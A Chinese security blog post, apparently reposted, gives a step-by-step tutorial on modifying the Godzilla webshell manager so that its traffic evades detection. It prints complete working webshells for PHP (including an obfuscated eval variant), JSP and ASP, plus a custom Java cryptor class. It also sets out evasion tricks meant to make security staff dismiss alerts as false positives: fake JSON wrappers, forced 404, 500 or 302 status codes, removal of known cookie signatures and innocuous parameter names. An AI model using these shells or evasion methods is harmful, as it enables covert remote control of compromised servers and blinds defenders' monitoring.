哥斯拉二开从0到1

admin 2025年1月28日14:03:54评论13 views字数 15819阅读52分43秒阅读模式

最近学习了一下冰蝎和哥斯拉的二开,但也只是学习了一丢丢皮毛,这里记录一下

准备

php5.2  php7.4 java 1.8

准备工作,这里还是建议使用idea,我用vscode  调,第一步配环境就给我卡死了,调了很久都没有调明白,太菜了。

首先致敬一下原版哥斯拉,原版地址https://github.com/BeichenDream/Godzilla

我们这里使用的最新的v4.0.1-godzilla版本,进行逆向及二开。

反编译网址,https://www.decompiler.com/,直接拖入jar包即可,很方便。

当然也可以使用idea的插件进行反编译,都一样。

ok开始

环境搭建

先改个名称试试看

下载好原版哥斯拉,然后拖到反编译网站,反编译完成后会看到一个压缩包,解压。

哥斯拉二开从0到1

哥斯拉二开从0到1

然后新建一个lib目录,将原版的godzilla拖进去,在将刚刚反编译后的目录拖到项目目录下

哥斯拉二开从0到1

接着建立依赖关系。

settings->Project Structure

哥斯拉二开从0到1

然后设置依赖添加我们上面lib里的哪个原版jar包,并且选中,这里笔者建议用jdk1.8,我用java15好像不太行

哥斯拉二开从0到1

接着添加主类,

哥斯拉二开从0到1

走到这一步,我们会发现,并没有其他大佬文章中说的有ui里的那个主类,是因为少了一部。

我们接着要将反编译的srcMETA-INF/MANIFEST.MF源文件,放到src下面,注意路径。

哥斯拉二开从0到1

然后同样复制decompiled_src/core/ui/MainActivity.java文件到src目录下

哥斯拉二开从0到1

这样即可

接着添加主类,

哥斯拉二开从0到1

哥斯拉二开从0到1

即可。

改标题

现在就可以编译了,我们先简单的改一下标题。

复制一份文件,godzilla的标题在core/MainActivity.java复制src/core/MainActivity.java,没有的目录要创建一下。目录一定要对齐。这里一定要清楚,不要在原版的那个和编译的那些文件里改,想改什么,把目录对齐,创建复制文件。

哥斯拉二开从0到1

哥斯拉二开从0到1

欧克,接下来编译

先build project

哥斯拉二开从0到1

在build artifacts build

哥斯拉二开从0到1

编译完成后,在项目目录下面的out/artifacts/下面就会有编译好的godzilla

哥斯拉二开从0到1

接着就会发现出现hash错误,接着改,

哥斯拉二开从0到1

在core/ApplicationConfig.java复制到src/core/ApplicationConfig.java,

哥斯拉二开从0到1

将中间的四行对比注释掉即可。

然后重新build。重新artifacts编译即可。

哥斯拉二开从0到1

ok,没有问题。笔者这里并没有经过作者的同意去二开,和验证。奈何我太菜,联系不到大佬,如果有侵权,留个言删除。

全局改造

我们知道,godzilla和Behinder都有一些强特征,我们可以加一下混淆或者简单改改。

在/core/ui/component/frame/ShellSetting.java的文件中,

大概290行,设置一下ua,

哥斯拉二开从0到1

直接给他写死,这样的话既可以每次打开不用自己改了。

还有下面的,

this.leftTextArea.setText("page=1&size=10&");this.rightTextArea.setText("&Name=manager");

左右追加数据,我们也给他写死,这样,就不用每次写了。

哥斯拉二开从0到1

哥斯拉二开从0到1

ok,比较方便,当然这里你想加什么都可以,这里只是添加一些参数。

然后是一个请求体的修改,在其他大师傅的文章中看到,

哥斯拉二开从0到1

就是这个请求包中cookie中有分号,这是一个强特征,这里咱们没有办法验证,听就行了,给他去掉,

笔者改的哥斯拉版本在srcutilhttpHttpResponse.java下,

哥斯拉二开从0到1

默认是`cookies.forEach(cookie -> sb.append(String.format(" %s=%s;", cookie.getName(), cookie.getValue())));

去掉;即可。打包编译。

哥斯拉二开从0到1

ok,没有任何问题。

godzilla 结构

没开始之前咱们先看下一Godzilla的shell大概构造

哥斯拉二开从0到1

在shell目录下,有三个目录,一个是加密 解密模块,也就是发送的payload的在本地加密,发送,从客户端解密返回给用户,payload就是各种功能,比如读取,上传,文件、数据库的操作等等,plugins很好理解,就是各种语言的插件,bypassdisable_function,提权,压缩,内存马等等。

这里说一个shell目录,shell目录下有各种语言的shell,每个语言下有一个Generate.java文件,他是用来生成godzilla木马的框架。然后就是要生成木马。我们点开lib目录下的godzilla.jar,然后是shell  php下面的

哥斯拉二开从0到1

这些*.bin对应的是这个生成的加密器。也就是xor  base64啥的

哥斯拉二开从0到1

相应的下面三个是加密 解密数据包的代码。其他的语言也大差不差。

这就是godzilla  shell方面大致的理解,目前二开godzilla用到这些就够了。其实是其他的我也不太懂。

php

好的,接下来我们开始改流量,先从php开始。

我们先来看最原版的一句话木马,这里说一下,godzilla是支持一句话木马的。有好多同学面试的时候被问到godzilla支不支持一句话,好多同学不知道。其实他是支持。

好,先来看一句话的加密器是 PHP_EVAL_XOR_BASE64,他生成的木马就是一句话<?phpeval($_POST["pass"]);

接着我们看对应的代码,在generate中,判断有没有bin文件,然后替换pass key

哥斯拉二开从0到1

哥斯拉二开从0到1

eval的🐎。如果这个,我们像上面一样,在src目录下新建文件,一样可以替换掉的。

然后是payload发送,在phpevalxor.java代码中,可以看到具体代码,比如异或,base64,传参等。

大家可以读读代码。

哥斯拉二开从0到1

哥斯拉二开从0到1

好,这里我们不去改变原有的代码,我们新加一个加密器。改的是xor然后base64的加密器。

哥斯拉二开从0到1

哥斯拉二开从0到1

好  我们先来打包看看

哥斯拉二开从0到1

没有问题,godzillaxor base64的木马是这样的。

<?php@session_start();@set_time_limit(0);@error_reporting(0);function encode($D,$K){   for($i=0;$i<strlen($D);$i++) {       $c = $K[$i+1&15];       $D[$i] = $D[$i]^$c;  }   return $D;}$pass='pass';$payloadName='payload';$key='3c6e0b8a9c15224a';if (isset($_POST[$pass])){   $data=encode(base64_decode($_POST[$pass]),$key);   if (isset($_SESSION[$payloadName])){       $payload=encode($_SESSION[$payloadName],$key);       if (strpos($payload,"getBasicsInfo")===false){           $payload=encode($payload,$key);      }eval($payload);       echo substr(md5($pass.$key),0,16);       echo base64_encode(encode(@run($data),$key));       echo substr(md5($pass.$key),16);  }else{       if (strpos($data,"getBasicsInfo")!==false){           $_SESSION[$payloadName]=encode($data,$key);      }  }}

在代码中,我们可以看到,

eval($payload);        echo substr(md5($pass.$key),0,16);        echo base64_encode(encode(@run($data),$key));        echo substr(md5($pass.$key),16);

发送的数据报为输出pass和key的md5值前十六位,数据异或的值,接着输出后十六位

哥斯拉二开从0到1

这是原版的请求流量,也不是原版

哥斯拉二开从0到1

原版是这样的,我们刚刚定死了左右添加数据。

哥斯拉二开从0到1

回显包,看到MD5前16  返回值异或 和后16位。

这里发送的包暂时不改了,因为发送的包改的话需要改发送的payload,返回包改了。

哥斯拉二开从0到1

在返回包的代码中有一个函数,传递了this.findStrLeft, this.findStrRight,也就是上面定义的

哥斯拉二开从0到1

md5的前后16位,ctrl+submiddlestr 会发现,就是将左边的数据,加返回的数据,加16位后数据

哥斯拉二开从0到1

ok,我们给他变下型,

哥斯拉二开从0到1

左右追加数据注释掉,然后添加一个返回信息。json格式。

哥斯拉二开从0到1

我们的木马中,可以看到是输出的MD5,这样肯定不行,我们给他改一下,改成符合我们的加密方式的。

<?php@session_start();@set_time_limit(0);@error_reporting(0);function encode($D,$K){   for($i=0;$i<strlen($D);$i++) {       $c = $K[$i+1&15];       $D[$i] = $D[$i]^$c;  }   return $D;}$pass='pass';$payloadName='payload';$key='3c6e0b8a9c15224a';if (isset($_POST[$pass])){   $data=encode(base64_decode($_POST[$pass]),$key);   if (isset($_SESSION[$payloadName])){       $payload=encode($_SESSION[$payloadName],$key);       if (strpos($payload,"getBasicsInfo")===false){           $payload=encode($payload,$key);      }               eval($payload);     // echo substr(md5($pass.$key),0,16);      // echo base64_encode(encode(@run($data),$key));       //echo substr(md5($pass.$key),16);echo "{"message":"";echo base64_encode(encode(@run($data),$key));echo ""}";  }else{       if (strpos($data,"getBasicsInfo")!==false){           $_SESSION[$payloadName]=encode($data,$key);      }  }}

哥斯拉二开从0到1

好,在看下流量

哥斯拉二开从0到1

返回包

哥斯拉二开从0到1

嘿,是不是有那味了。

在php中,我们可以让返回包强制404,只需在🐎里面添加http_response_code(404);即可

哥斯拉二开从0到1

顺便我把pass改成了search,这样再看下数据包。

哥斯拉二开从0到1

哥斯拉二开从0到1

这样的话,我们的流量状态码就是404了,是不是猛一看,还真不好分辨,如果是新手的话,可能看设备的时候都直接略过点误报了。

哥斯拉二开从0到1

当然,你可以改成任何你喜欢的数字。

发送包的pass 因为是传递键,所以我建议生成的时候,还是用一些单词,这样更有迷惑性。

返回值这个fL1tMGI4YTlj有的安全设备,也被定义为危险字符,因为返回值要异或key,所以key在生成的时候也不能用默认,简单改一改。

ok做戏要做全套,我们不能每次用的时候需要,来到文章拿代码,godzilla也是好用在这里。直接工具中生成,对我这种萌新比较友好。

接下来,我们来看怎么在godzilla中生成木马。

哥斯拉二开从0到1

php的generate的代码中确定了用到那个bin文件,

加密器中也会判断isbin?,那我们仿照eval的加密器写,

哥斯拉二开从0到1

直接定死或者bin文件即可。

创建文件,格式对齐。别写错了。

哥斯拉二开从0到1

哥斯拉二开从0到1

最下面改一改

//// Source code recreated from a .class file by IntelliJ IDEA// (powered by FernFlower decompiler)//package shells.cryptions.phpXor;import core.annotation.CryptionAnnotation;import core.imp.Cryption;import core.shell.ShellEntity;import java.net.URLEncoder;import util.Log;import util.functions;import util.http.Http;@CryptionAnnotation(       Name = "PHP_XOR_BASE64_MESSAGES",       payloadName = "PhpDynamicPayload")public class PhpXormessage implements Cryption {   private ShellEntity shell;   private Http http;   private byte[] key;   private boolean state;   private String pass;   private byte[] payload;   private String findStrLeft;   private String findStrRight;   public PhpXormessage() {  }   public void init(ShellEntity context) {       this.shell = context;       this.http = this.shell.getHttp();       this.key = this.shell.getSecretKeyX().getBytes();       this.pass = this.shell.getPassword();       String findStrMd5 = functions.md5(this.pass + new String(this.key));       //this.findStrLeft = findStrMd5.substring(0, 16);       //this.findStrRight = findStrMd5.substring(16);       this.findStrLeft = "{"message":"";       this.findStrRight = ""}";       try {           this.payload = this.shell.getPayloadModule().getPayload();           if (this.payload != null) {               this.http.sendHttpResponse(this.payload);               this.state = true;          } else {               Log.error("payload Is Null");          }      } catch (Exception var4) {           Exception e = var4;           Log.error(e);      }  }   public byte[] encode(byte[] data) {       try {           return this.E(data);      } catch (Exception var3) {           Exception e = var3;           Log.error(e);           return null;      }  }   public byte[] decode(byte[] data) {       if (data != null && data.length > 0) {           try {               return this.D(this.findStr(data));          } catch (Exception var3) {               Exception e = var3;               Log.error(e);               return null;          }      } else {           return data;      }  }   public boolean isSendRLData() {       return true;  }   public byte[] E(byte[] cs) {       int len = cs.length;       for(int i = 0; i < len; ++i) {           cs[i] ^= this.key[i + 1 & 15];      }       return (this.pass + "=" + URLEncoder.encode(functions.base64EncodeToString(cs))).getBytes();  }   public byte[] D(String data) {       byte[] cs = functions.base64Decode(data);       int len = cs.length;       for(int i = 0; i < len; ++i) {           cs[i] ^= this.key[i + 1 & 15];      }       return cs;  }   public String findStr(byte[] respResult) {       String htmlString = new String(respResult);       return functions.subMiddleStr(htmlString, this.findStrLeft, this.findStrRight);  }   public boolean check() {       return this.state;  }   public byte[] generate(String password, String secretKey) {       return (new String(functions.readInputStreamAutoClose(PhpXormessage.class.getResourceAsStream("template/xorbase64message.bin")))).replace("{pass}", password).replace("{secretKey}", functions.md5(secretKey).substring(0, 16)).getBytes();  }}

然后bin文件写好

<?phphttp_response_code(404);@session_start();@set_time_limit(0);@error_reporting(0);function encode($D,$K){   for($i=0;$i<strlen($D);$i++) {       $c = $K[$i+1&15];       $D[$i] = $D[$i]^$c;  }   return $D;}$pass='{pass}';$payloadName='payload';$key='{secretKey}';if (isset($_POST[$pass])){   $data=encode(base64_decode($_POST[$pass]),$key);   if (isset($_SESSION[$payloadName])){       $payload=encode($_SESSION[$payloadName],$key);       if (strpos($payload,"getBasicsInfo")===false){           $payload=encode($payload,$key);      }eval($payload);       echo "{"message":"";       echo base64_encode(encode(@run($data),$key));       echo ""}";  }else{       if (strpos($data,"getBasicsInfo")!==false){           $_SESSION[$payloadName]=encode($data,$key);      }  }}

ok打包编译,

哥斯拉二开从0到1

哥斯拉二开从0到1

哥斯拉二开从0到1

ok,这里演示已经没有问题了,我们直接做全点,

用一下这个大师傅的项目,https://github.com/Tas9er/ByPassGodzilla

生成一个php的码,封装到里面

<?pHP@session_start();@set_time_limit(Chr("48"));@error_reporting/*dbappsecurityCh3yaQPIpr*/(Chr("48"));function qianxingCgkD21wHn(/*dbappsecurityN05i2v*/$qianxinfImnkp0WMq6TX,$qianxinGYCCVkSDkVAY){   for($qianxinhP=Chr("48");$qianxinhP<strlen($qianxinfImnkp0WMq6TX);$qianxinhP++) {       $qianxinqq = $qianxinGYCCVkSDkVAY[$qianxinhP+Chr("49")&15];       $qianxinfImnkp0WMq6TX[$qianxinhP] = $qianxinfImnkp0WMq6TX[$qianxinhP]^$qianxinqq;  }   return $qianxinfImnkp0WMq6TX;}$qianxinITUfjjXmxo2 = "bas"."e6".Chr("52")."_"."de"."cod".Chr("101");$base64_qianxingCgkD21wHn = "bas"."e6".Chr("52")."_e".Chr("110").Chr("99")."ode";$qianxinw7hJzkKxyi='{pass}';$qianxinuMq5P9IAtT1AwU='p'.$qianxinITUfjjXmxo2($qianxinITUfjjXmxo2("WVhsc2IyRms="));$qianxin1B='{secretKey}';if (isset($_POST/*dbappsecurityQikjH7TyvFiC5K*/[$qianxinw7hJzkKxyi])){   $datqianxin7mlwRjVMRy1A=qianxingCgkD21wHn/*dbappsecurityKdu4owvmY*/($qianxinITUfjjXmxo2($_POST[$qianxinw7hJzkKxyi]),$qianxin1B);   if (/*dbappsecuritybmIrEvG*/isset($_SESSION/*dbappsecurityJrZYGpRm*/[$qianxinuMq5P9IAtT1AwU])){       $qianxinqN=qianxingCgkD21wHn($_SESSION/*dbappsecurityqdVXl3Fu4*/[$qianxinuMq5P9IAtT1AwU],$qianxin1B);       if (/*dbappsecurityZIDeNEw*/strpos($qianxinqN,$qianxinITUfjjXmxo2/*dbappsecuritySC9ERptWGKU*/($qianxinITUfjjXmxo2("WjJWMFFtRnphV056U1c1bWJ3PT0=")))===false){           $qianxinqN=qianxingCgkD21wHn/*dbappsecurityt9vgwbR6Nu*/($qianxinqN,$qianxin1B);      }               define("qianxinhRs0Ff","//qianxinUJEoZGkrn".$qianxinqN);               eval(qianxinhRs0Ff);                               echo "{"message":"";                       echo $base64_qianxingCgkD21wHn(qianxingCgkD21wHn(@run($datqianxin7mlwRjVMRy1A),$qianxin1B));                               echo ""}";  }else{       if (strpos/*dbappsecurityGS4ujb8wCNv1LjR*/($datqianxin7mlwRjVMRy1A,$qianxinITUfjjXmxo2($qianxinITUfjjXmxo2("WjJWMFFtRnphV056U1c1bWJ3PT0=")))!==false){           $_SESSION[$qianxinuMq5P9IAtT1AwU]=qianxingCgkD21wHn($datqianxin7mlwRjVMRy1A,$qianxin1B);      }  }}

哥斯拉二开从0到1

换成我们的代码,中间key和pass替换一下。

生成好的php代码即可直接使用。

这里注意一下,如果我们改xorbase的代码,添加的那个文件要扣xorbase64的代码,要不然eval代码用xorbase64的payload肯定用不了。

哥斯拉二开从0到1

我们这里看下xor的流量加上message,是不是感觉有点突兀,因为它本身就是xor的乱码,如果我们在加message感觉有点怪怪的。这里就不加了。(其实是没研究明白,等我在学学),好,php的就先到这里,下面是jsp的。

jsp

好接下来我们看jsp的,godzilla默认java的有两种载荷,一种aes-base64,一种是aes-raw,和php一样,不过php是先xor,可能是php默认开启ssl哪个函数的话,用对称加密吧,java默认有aes,那么就可以直接用了,就通用了。

jsp默认 java-aes-base64

<%! String xc="3c6e0b8a9c15224a"; String pass="pass"; String md5=md5(pass+xc); class X extends ClassLoader{public X(ClassLoader z){super(z);}public Class Q(byte[] cb){return super.defineClass(cb, 0, cb.length);} }public byte[] x(byte[] s,boolean m){ try{javax.crypto.Cipher c=javax.crypto.Cipher.getInstance("AES");c.init(m?1:2,new javax.crypto.spec.SecretKeySpec(xc.getBytes(),"AES"));return c.doFinal(s); }catch (Exception e){return null; }} public static String md5(String s) {String ret = null;try {java.security.MessageDigest m;m = java.security.MessageDigest.getInstance("MD5");m.update(s.getBytes(), 0, s.length());ret = new java.math.BigInteger(1, m.digest()).toString(16).toUpperCase();} catch (Exception e) {}return ret; } public static String base64Encode(byte[] bs) throws Exception {Class base64;String value = null;try {base64=Class.forName("java.util.Base64");Object Encoder = base64.getMethod("getEncoder", null).invoke(base64, null);value = (String)Encoder.getClass().getMethod("encodeToString", new Class[] { byte[].class }).invoke(Encoder, new Object[] { bs });} catch (Exception e) {try { base64=Class.forName("sun.misc.BASE64Encoder"); Object Encoder = base64.newInstance(); value = (String)Encoder.getClass().getMethod("encode", new Class[] { byte[].class }).invoke(Encoder, new Object[] { bs });} catch (Exception e2) {}}return value; } public static byte[] base64Decode(String bs) throws Exception {Class base64;byte[] value = null;try {base64=Class.forName("java.util.Base64");Object decoder = base64.getMethod("getDecoder", null).invoke(base64, null);value = (byte[])decoder.getClass().getMethod("decode", new Class[] { String.class }).invoke(decoder, new Object[] { bs });} catch (Exception e) {try { base64=Class.forName("sun.misc.BASE64Decoder"); Object decoder = base64.newInstance(); value = (byte[])decoder.getClass().getMethod("decodeBuffer", new Class[] { String.class }).invoke(decoder, new Object[] { bs });} catch (Exception e2) {}}return value; }%><%try{byte[] data=base64Decode(request.getParameter(pass));data=x(data, false);if (session.getAttribute("payload")==null){session.setAttribute("payload",new X(this.getClass().getClassLoader()).Q(data));}else{request.setAttribute("parameters",data);java.io.ByteArrayOutputStream arrOut=new java.io.ByteArrayOutputStream();Object f=((Class)session.getAttribute("payload")).newInstance();f.equals(arrOut);f.equals(pageContext);response.getWriter().write(md5.substring(0,16));f.toString();response.getWriter().write(base64Encode(x(arrOut.toByteArray(), true)));response.getWriter().write(md5.substring(16));} }catch (Exception e){}%>

默认aes流量,这里由于全局设置了前后缀,就直接带了,下面返回包,和phpbase64一样

哥斯拉二开从0到1

哥斯拉二开从0到1

我们先改一下代码。依旧替换一下左右信息

哥斯拉二开从0到1然后我们在写两个变量,把前后的md5替换掉就好了。

哥斯拉二开从0到1

这样就好看一点了,然后我们也把jsp的返回响应包写里面

哥斯拉二开从0到1

好,写好之后,我们来看一下。404.

哥斯拉二开从0到1

哥斯拉二开从0到1

没有任何问题,好,接下来,我们看怎么生成的码。

哥斯拉二开从0到1

从新在generate里面写一个方法,原来的是

public byte[] generate(String password, String secretKey) {  return Generate.GenerateShellLoder(password, functions.md5(secretKey).substring(0, 16), false);}

我们新写一个方法

哥斯拉二开从0到1

然后去到generate文件,copy一个方法,然后加个messsage

哥斯拉二开从0到1

然后就是把bin文件写好,这里我直接用的大师傅的代码,回头咱们自己改

哥斯拉二开从0到1

最后调用的方法写一下就好了。

哥斯拉二开从0到1

ok,这样就可以直接生成了,测试没啥问题。

我用其他大师傅的二开的,好多都不能生成原版的,这样比较简单生成我们自定义的了。

这里就不该aesraw的了。跟上面原因一样,不好看。(其实就是笔者没研究明白)。

下面是windows的asp,aspx。

asp

ASP是Active Server Page的缩写,意为“活动服务器网页”。是MicroSoft公司开发的服务器端脚本环境,是一个WEB服务器端的开发环境,利用它可以产生和执行动态的、互动的、高性能的WEB服务应用程序。ASP采用脚本语言VBScript(Javascript)作为自己的开发语言。常用于各种动态网站中。ASP是一种服务器端脚本编写环境,可以用来创建和运行动态网页或web应用程序。ASP的网页文件的格式是.asp。

asp的我们选用

asp xor base64的改一下。

哥斯拉二开从0到1

这是我们的原始流量,长得和上面的差不多,

<%Set bypassDictionary = Server.CreateObject("Scripting.Dictionary")Function Base64Decode(ByVal vCode)   Dim oXML, oNode   Set oXML = CreateObject("Msxml2.DOMDocument.3.0")   Set oNode = oXML.CreateElement("base64")   oNode.dataType = "bin.base64"   oNode.text = vCode   Base64Decode = oNode.nodeTypedValue   Set oNode = Nothing   Set oXML = NothingEnd FunctionFunction decryption(content,isBin)   dim size,i,result,keySize   keySize = len(key)   Set BinaryStream = CreateObject("ADODB.Stream")   BinaryStream.CharSet = "iso-8859-1"   BinaryStream.Type = 2   BinaryStream.Open   if IsArray(content) then       size=UBound(content)+1       For i=1 To size           BinaryStream.WriteText chrw(ascb(midb(content,i,1)) Xor Asc(Mid(key,(i mod keySize)+1,1)))       Next   end if   BinaryStream.Position = 0   if isBin then       BinaryStream.Type = 1       decryption=BinaryStream.Read()   else       decryption=BinaryStream.ReadText()   end ifEnd Function   key="3c6e0b8a9c15224a"   content=request.Form("pass")   if not IsEmpty(content) then       if  IsEmpty(Session("payload")) then           content=decryption(Base64Decode(content),false)           Session("payload")=content           response.End       else           content=decryption(Base64Decode(content),true)           bypassDictionary.Add "payload",Session("payload")           Execute(bypassDictionary("payload"))           result=run(content)           response.Write("11cd6a")           if not IsEmpty(result) then               response.Write Base64Encode(decryption(result,true))           end if           response.Write("ac826a")       end if   end if%>

可以看到  最后输出了两个字符串

哥斯拉二开从0到1

源payload中也是匹配前六和后六,那么我们顺着他的改一下。

哥斯拉二开从0到1

哥斯拉二开从0到1

原版代码改一下。

哥斯拉二开从0到1

非常ok。我们来改一下回显状态码。

哥斯拉二开从0到1

asp的话  我们加这一句话即可

Response.Status = "500 Internal Server Error"

就会强制改回显状态码,

哥斯拉二开从0到1

蔽日这里改成a,我们就会强制加个状态码

如果改成404,那么这个文件就不可以使用了

哥斯拉二开从0到1

直接就会报错,设置成302就不会报错了,也可以用,但是吧  仔细看的话,感觉有点问题

哥斯拉二开从0到1

哥斯拉二开从0到1

当然,你可以加一些你喜欢的字符。

哥斯拉二开从0到1

好,然后我们用大师傅的免杀,缝合一下。

只需要将生成的马改下格式,然后放在template下即可

哥斯拉二开从0到1

此时就能生成了。

生成一个,试一下,

哥斯拉二开从0到1

301伪装,emmm,还行吧。asp的先这样。

aspx

接下来时aspx的

其实流程都一样了,这次我们换个单词,就用常见的data吧

哥斯拉二开从0到1

哥斯拉二开从0到1

哥斯拉二开从0到1

哥斯拉二开从0到1

至此,简单的二开哥斯拉就完成了,其实也没有改什么,就只是加了前后缀,并且有一些加密类型也没有做更改,只是自己学习一下,简单记录一下。

如果大哥们有自己的免杀马,但是还用俺这个类型的,那么只需要在木马前后输出的地方改成data这种形式就可以了。

下个版本

这里只是改了一丢丢,并没有改流量以及加密方式,只是做了伪装,下个版本我们修改一下加密方式,这样的话会更好一点。而且是抄的其他大师傅的免杀🐎,下回争取的做一下免杀。还有就是message其实是固定的,希望能让他动起来。

下载

什么,你说看不明白、不想动手、太麻烦,没事,去下载就可以了。

https://github.com/Bohemiana/godzilla_erkai

致谢

最后感谢您读到现在,这篇文章匆忙构成肯定有不周到或描述不正确的地方,期待业界师傅们用各种方式指正勘误。

参考
https://bohemian.top/2024/09/03/%E5%93%A5%E6%96%AF%E6%8B%89%E4%BA%8C%E5%BC%80v1-0/%E5%93%A5%E6%96%AF%E6%8B%89%E4%BA%8C%E5%BC%80%E4%BB%8E0%E5%88%B01/  原文https://github.com/BeichenDream/Godzilla           原版哥斯拉https://mp.weixin.qq.com/s?__biz=MzkxNTUwNjgxOQ==&mid=2247484153&idx=1&sn=67d8b3932714ff0a0ee5745f7049a661&scene=21#wechat_redirect   哥斯拉webshell管理工具二开小记https://github.com/Tas9er/ByPassGodzilla   ByPassGodzillahttps://bohemian.top/2024/02/28/antsword-bypasswaf/antsword-bypasswaf/    antsword-bypasswaf

原文始发于微信公众号(哈拉少安全小队):哥斯拉二开从0到1

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2025年1月28日14:03:54
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   哥斯拉二开从0到1https://cn-sec.com/archives/3684411.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息